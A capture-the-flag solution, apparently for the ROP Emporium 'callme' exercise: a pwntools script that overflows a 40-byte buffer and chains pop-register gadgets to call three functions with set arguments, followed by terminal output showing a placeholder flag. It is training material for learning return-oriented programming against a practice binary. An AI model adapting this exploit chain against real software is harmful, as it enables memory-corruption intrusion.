```
from pwn import *
only_ret_gadget = p64(0x00000000004006be)

#define addresses of functions
callme_one = p64(0x00400720)
callme_two = p64(0x00400740)
callme_three = p64(0x004006f0)

#gadget to populate registers
pop_three_reg = p64(0x000000000040093c) # pop rdi ; pop rsi ; pop rdx ; ret

#create the payload, starting with 40 bytes to make buffer overflow happening and putting the first gadget as the return address, to start our chain

payload = b"A"*40
payload += only_ret_gadget
payload += pop_three_reg
payload += p64(0xdeadbeefdeadbeef) #load into rdi
payload += p64(0xcafebabecafebabe) #load into rsi
payload += p64(0xd00df00dd00df00d) #load into rdx

payload += callme_one # call1

payload += pop_three_reg
payload += p64(0xdeadbeefdeadbeef) #load into rdi
payload += p64(0xcafebabecafebabe) #load into rsi
payload += p64(0xd00df00dd00df00d) #load into rdx

payload += callme_two # call2

payload += pop_three_reg
payload += p64(0xdeadbeefdeadbeef) #load into rdi
payload += p64(0xcafebabecafebabe) #load into rsi
payload += p64(0xd00df00dd00df00d) #load into rdx

payload += callme_three # call3

io = process("./callme")
io.recvuntil("> ")
io.sendline(payload)
print(io.recvall())
```

```
ubuntu@ubuntu-2204:~/Downloads/Pwning/17 - ROP/2_callme$ python solution
.py
[+] Starting local process './callme': pid 5378
/home/ubuntu/Downloads/Pwning/17 - ROP/2_callme/solution.py:38: BytesWar
ning: Text is not bytes; assuming ASCII, no guarantees. See https://docs
.pwntools.com/#bytes
  io.recvuntil("> ")
[+] Receiving all data: Done (104B)
[*] Process './callme' stopped with exit code 0 (pid 5378)
b'Thank you!\ncallme_one() called correctly\ncallme_two() called correct
ly\nROPE{a_placeholder_32byte_flag!}\n'
```